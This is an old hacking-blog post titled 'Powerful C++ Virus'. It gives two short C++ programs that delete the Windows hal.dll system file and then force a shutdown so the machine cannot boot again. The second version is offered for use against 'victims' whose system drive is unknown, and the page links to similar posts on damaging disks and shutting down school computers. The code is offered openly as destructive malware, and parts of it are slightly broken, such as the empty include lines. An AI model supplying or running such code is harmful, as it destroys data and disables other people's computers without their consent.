Your Ad Here
Home » Hacking Computer, Hardcore Hacking, Virus Tutorials

Powerful C++ Virus

4 December 2007 No Comment

Suggested Reading Resources(Free of Cost!)

noneProtection for Mac and Linux Computers: Genuine Need or Nice to Have?
Learn how protecting computers running Linux, UNIX, Mac and the like, can prevent Windows malware being stored and distributed across your IT network reducing the risks to business.....

none Vulnerability Management for Dummies
Get all the Facts and See How to Implement a Successful Vulnerability Management Program.....


This is a powerful C++ virus, which deletes Hal.dll, something that is required for startup. After deleting that, it shuts down, never to start again.

Warning: Do not try this on your home computer.

The Original Code:

Code:

#include
#include

using namespace std;

int main(int argc, char *argv[])
{
std::remove(”C:\\windows\\system32\\hal.dll”); //PWNAGE TIME
system(”shutdown -s -r”);
system(”PAUSE”);
return EXIT_SUCCESS;
}

A more advanced version of this virus which makes the C:\Windows a variable that cannot be wrong. Here it is:

Code:

#include
#include

using namespace std;

int main(int argc, char *argv[])
{
std::remove(”%systemroot%\\system32\\hal.dll”); //PWNAGE TIME
system(”shutdown -s -r”);
system(”PAUSE”);
return EXIT_SUCCESS;
}

The second version would be more useful during times when you do not know the victims default drive. It might be drive N: for all you know.

Popularity: 2% [?]

Related posts:

  1. Remove RavMon.exe virus without any anti-virus(Do it your self)
  2. How to Make your own Virus
  3. Create Bad sectors on hard disks
  4. Disable or remove shutdown
  5. Shut down your School!!


Enjoyed this article? Subscribe to Hacking Truths and get daily updates about new cool websites and programs in your email for free.



Note : If you have any Query related to the above Article please Post it to the Support Forum.

Leave your response!

Add your comment below, or trackback from your own site. You can also subscribe to these comments via RSS.

Be nice. Keep it clean. Stay on topic. No spam.

You can use these tags:
<a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <strike> <strong>

This is a Gravatar-enabled weblog. To get your own globally-recognized-avatar, please register at Gravatar.

Comment moderation is enabled. Your comment may take some time to appear.